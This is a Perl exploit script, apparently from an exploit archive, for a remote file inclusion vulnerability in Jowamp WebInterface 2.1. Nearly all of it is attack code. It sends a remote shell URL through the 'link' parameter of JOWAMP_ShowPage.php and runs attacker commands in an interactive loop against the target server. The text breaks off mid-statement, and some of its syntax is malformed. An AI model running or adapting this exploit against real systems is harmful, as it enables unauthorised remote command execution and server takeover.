[code]
#!/usr/bin/perl
# Jowamp WebInterface v 2.1 Remote File Inclusion Vulnerablity
# Vulnerability found & Exploit [c]oded By Dr Max Virus
# Download:
http://www.av.it.pt/jowamp/index ... ace_version_2_1.zip
# User Must Be Logged In!
# In a web browser open the page
http://localhost/jowamp/login/register.php to register new users.
use LWP::UserAgent;
$target=@ARGV[0];
$shellsite=@ARGV[1];
$cmdv=@ARGV[2];
if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
{
usg()
}
header();
while()
{
print "[Shell] \$";
while (<STDIN>)
{
$cmd=$_;
chomp($cmd);
$xpl = LWP::UserAgent->new() or die;
$req =
HTTP::Request->new(GET=>$target.'/JOWAMP_files/JOWAMP_ShowPage.php?link='.$shellsite='.?&'.$cmdv.'='.$cmd)or
die "\n\n Failed to Connect, Try again!\n";
$res = $xpl->request($req);
# The response of the server to the GET request we sent is stored in the
$info variable
$info = $res->content;
$info =~ tr/[\n]/[